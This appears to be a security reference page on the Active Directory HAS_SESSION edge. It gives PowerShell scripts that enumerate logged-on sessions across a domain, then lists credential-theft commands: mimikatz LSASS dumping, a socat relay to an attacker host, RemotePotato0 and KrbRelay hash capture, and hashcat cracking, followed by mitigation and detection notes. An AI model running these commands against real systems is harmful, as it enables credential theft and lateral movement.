HAS_SESSION

Summary

FSProtect ACL Alias

HAS_SESSION

Affected Object Types

Computers

Exploitation Certainty

Likely

Description

HAS_SESSION information serves as a critical data source for system administrators by identifying which users are logged into which computers on the network. This data enables administrators to monitor user sessions, quickly detect unusual or unauthorized access, and thereby mitigating potential lateral movement by attackers.

Important Note: Administrator privileges should not be used to log in to unauthorized computers. If such access occurs, the computer should be restarted immediately to minimize potential security threats and prevent privilege-escalation risks.

Identification

PowerShell

Active Directory Module

Using the ActiveDirectory PowerShell module, you can enumerate HAS_SESSION entries.

1. Find-HAS_SESSION function

function Find-HAS_SESSION {
    [CmdletBinding()]
    param([Parameter( Position = 0,  ValueFromPipeline = $true,ValueFromPipelineByPropertyName = $true )][string[]]$Target, [Parameter(Position = 1)] [string]$OutputPath = "HAS_SESSION.csv" )
    begin {
        Import-Module ActiveDirectory -ErrorAction Stop
        # Write CSV header (overwrites any existing file)
        "Computer,Username,SessionName,ID,State,IdleTime,LogonTime" |
            Out-File -FilePath $OutputPath -Encoding UTF8 -Force
        # Determine list of computers
        if ($Target) {
            $computers = $Target
        }
        else {
            $computers = Get-ADComputer -Filter * | Select-Object -ExpandProperty Name
        }
    }
    process {
        foreach ($computer in $computers) {
            try {
                # Run 'query user' and join lines into one string
                $raw = (query user /server:$computer 2>&1) -join "`n"
                # Skip if no sessions
                if ($raw -and $raw -notmatch 'No user exists for') {
                    # Split into lines, skip header
                    $lines = $raw -split "\r?\n"
                    foreach ($line in $lines[1..($lines.Count-1)]) {
                        $line = $line.Trim()
                        if (-not [string]::IsNullOrWhiteSpace($line)) {
                            $cols = $line -split "\s{2,}"
                            if ($cols.Count -ge 6) {
                                $obj = [PSCustomObject]@{
                                    Computer    = $computer
                                    Username    = $cols[0].TrimStart('>')
                                    SessionName = $cols[1]
                                    ID          = $cols[2]
                                    State       = $cols[3]
                                    IdleTime    = $cols[4]
                                    LogonTime   = ($cols[5..($cols.Count-1)] -join ' ')
                                }
                                $obj | Export-Csv -Path $OutputPath -NoTypeInformation -Append
                            }
                        }
                    }
                }
            }
            catch {
                [PSCustomObject]@{
                    Computer    = $computer
                    Username    = 'ERROR'
                    SessionName = ''
                    ID          = ''
                    State       = ''
                    IdleTime    = ''
                    LogonTime   = $_.Exception.Message
                } | Export-Csv -Path $OutputPath -NoTypeInformation -Append
            }
        }
    }
}

2. Scan all computers in the domain

Find-HAS_SESSION

3. Scan a specific computer

Find-HAS_SESSION -Target "vm01"

.NET Directory Services

By leveraging PowerShell’s built-in .NET DirectoryServices namespace, you can enumerate HAS_SESSION entries without relying on any external modules or dependencies

1. Find-HAS_SESSIONSimple function

function Find-HAS_SESSIONSimple {
    [CmdletBinding()]
    param([string]$Target = $null,[string]$OutputPath = "HAS_SESSION.csv")
    $computers = New-Object System.Collections.Generic.List[string]
    if ($Target) {
        try {
            $entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$Target")
            $oc = @($entry.Properties["objectClass"])
            if ($oc -contains "computer") {
                $dns = $entry.Properties["dNSHostName"][0]
                if (-not $dns) { $dns = $entry.Properties["name"][0] }
                if ($dns) { [void]$computers.Add($dns) }
            }
            else {
                $searcher = [System.DirectoryServices.DirectorySearcher]::new($entry)
                $searcher.Filter   = "(objectCategory=computer)"
                $searcher.PageSize = 1000
                [void]$searcher.PropertiesToLoad.Add("dNSHostName")
                [void]$searcher.PropertiesToLoad.Add("name")
                $hits = $searcher.FindAll()
                foreach ($hit in $hits) {
                    $props    = $hit.Properties
                    $dns      = $props["dnshostname"]
                    $name     = $props["name"]
                    $hostname = if ($dns -and $dns.Count -gt 0) { $dns[0] } elseif ($name -and $name.Count -gt 0) { $name[0] } else { $null }
                    if ($hostname) { [void]$computers.Add($hostname) }
                }
            }
        }
        catch {Write-Error "Failed to bind or enumerate under '$Target': $_" ; return  }
    }
    else {
        try {
            $root   = New-Object System.DirectoryServices.DirectoryEntry("LDAP://RootDSE")
            $baseDN = $root.Properties["defaultNamingContext"].Value
            $search = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$baseDN")
            $searcher = [System.DirectoryServices.DirectorySearcher]::new($search)
            $searcher.Filter   = "(objectCategory=computer)"
            $searcher.PageSize = 1000
            [void]$searcher.PropertiesToLoad.Add("dNSHostName")
            [void]$searcher.PropertiesToLoad.Add("name")
            $hits = $searcher.FindAll()
            foreach ($hit in $hits) {
                $props    = $hit.Properties
                $dns      = $props["dnshostname"]
                $name     = $props["name"]
                $hostname = if ($dns -and $dns.Count -gt 0) { $dns[0] } elseif ($name -and $name.Count -gt 0) { $name[0] } else { $null }
                if ($hostname) { [void]$computers.Add($hostname) }
            }
        }
        catch { Write-Error "LDAP enumeration failed: $_"  ; return}
    }
    if ($computers.Count -eq 0) { Write-Host "No computer targets found."; return}
    if (Test-Path $OutputPath) { Remove-Item $OutputPath -Force -ErrorAction SilentlyContinue }
    "Computer,Username,SessionName,ID,State,IdleTime,LogonTime" | Out-File -FilePath $OutputPath -Encoding UTF8 -Force
    $results = New-Object System.Collections.Generic.List[object]
    foreach ($computer in $computers) {
        try {
            $raw = (quser /server:$computer 2>&1) -join "`n"
            if (-not $raw -or $raw -match 'No user exists') { continue }

            $lines = $raw -split "\r?\n" | Where-Object { $_.Trim() -ne "" }
            if ($lines.Count -lt 2) { continue }
            foreach ($line in $lines[1..($lines.Count-1)]) {
                $trim = $line.Trim()
                if (-not $trim) { continue }

                $cols = $trim -split "\s{2,}"
                if ($cols.Count -lt 6) {
                    $cols = $trim -replace '^\>','' -split "\s+"
                    if ($cols.Count -lt 6) { continue }
                    $user       = $cols[0]
                    $session    = if ($cols[1] -match '^\d+$') { "" } else { $cols[1] }
                    $idxOffset  = if ($session -eq "") { 1 } else { 2 }
                    $id         = $cols[$idxOffset]
                    $state      = $cols[$idxOffset+1]
                    $idle       = $cols[$idxOffset+2]
                    $logonTime  = ($cols[($idxOffset+3)..($cols.Count-1)] -join ' ')
                }
                else {
                    $user       = $cols[0].TrimStart('>')
                    $session    = $cols[1]
                    $id         = $cols[2]
                    $state      = $cols[3]
                    $idle       = $cols[4]
                    $logonTime  = ($cols[5..($cols.Count-1)] -join ' ')
                }
                $obj = [PSCustomObject]@{
                    Computer    = $computer
                    Username    = $user
                    SessionName = $session
                    ID          = $id
                    State       = $state
                    IdleTime    = $idle
                    LogonTime   = $logonTime
                }
                $results.Add($obj) | Out-Null
                $obj | Export-Csv -Path $OutputPath -NoTypeInformation -Append
            }
        }
        catch { }
    }
    if ($results.Count -gt 0) {
        Write-Host "Exported $($results.Count) entr$(if($results.Count -eq 1){'y'}else{'ies'}) to $OutputPath"
        $results
    }
    else {  Write-Host "No active sessions found."}
}

2. Scan all computers in the domain

Find-HAS_SESSIONSimple

3. Scan a specific computer

Find-HAS_SESSIONSimple -Target "CN=VM01,OU=Workstations,DC=Forestall,DC=labs"

Exploitation

Attack vectors:

1. With administrator access

  • you can dump the NTLM hashes of all users currently logged on to the machineBy using a tool like mimikatz.

2. Without administrator privileges Without admin rights, tools like RemotePotato0 and KrbRelay can be used to acquire NTLMv1 or NTLMv2 challenge‑response hashes from logged-on users for offline cracking.

  • RemotePotato0 abuses DCOM to force NTLM authentication of a privileged user logged into the host, capturing NTLMv2 hashes for escalation or relay

  • KrbRelay (a Kerberos/NTLM relay method) intercepts authentication responses (e.g. via LLMNR/NBT‑NS poisoning or SMB/LDAP with signing disabled), which can then be relayed or cracked offline

Windows

Dumping NTLM hashes from lsass process using mimikatz

.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"

Stealing NTLM hashes using RemotePotato0

Start a listener on Kali on port 135 to forward all connections back to the target machine

sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:<targetmachineip>:9999

Example:

sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:192.168.100.120:9999

Steal the Administrator’s NTLMv2 hash

.\RemotePotato0.exe -m 2 -x <kaliip> -s <targetedusersessionid>

Example:

.\RemotePotato0.exe -m 2 -x 192.168.100.129 -s 1

Stealing NTLM hashes using KrbRelay

.\KrbRelay.exe -session <sessionid> -clsid <clisd> -ntlm

Example:

.\KrbRelay.exe -session 1 -clsid 0ea79562-d4f6-47ba-b7f2-1e9b06ba16a4 -ntlm

Cracking NTLMv2 hashes

Using hashcat, you can crack NTLMv2 hashes

.\hashcat.exe .\hashes.txt .\rockyou.txt -m 5600 -r .\rules\best64.rule

Mitigation

This security edge cannot be directly mitigated; however, to reduce risk, administrator privileges should not be used to log in to unauthorized computers. If such access occurs, the computer should be restarted immediately to minimize potential security threats and prevent privilege-escalation risks.

Detection

Adding new Access Control Entries on Active Directory objects changes the ntSecurityDescriptor attribute of the objects themselves. These changes can be detected with Event IDs 5136 and 4662 to identify dangerous modifications. Event ID 4624 indicates a successful logon to a Windows system.

Event ID
Description
Fields/Attributes
References

4624

An account was successfully logged on.

Logon Type , Subject, New Logon

https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4624

References

What is Service Principal Names & Service Accounts? (Payatu Blog)

MS-ADTS: Active Directory Technical Specification – Service Principal Name

Last updated

Was this helpful?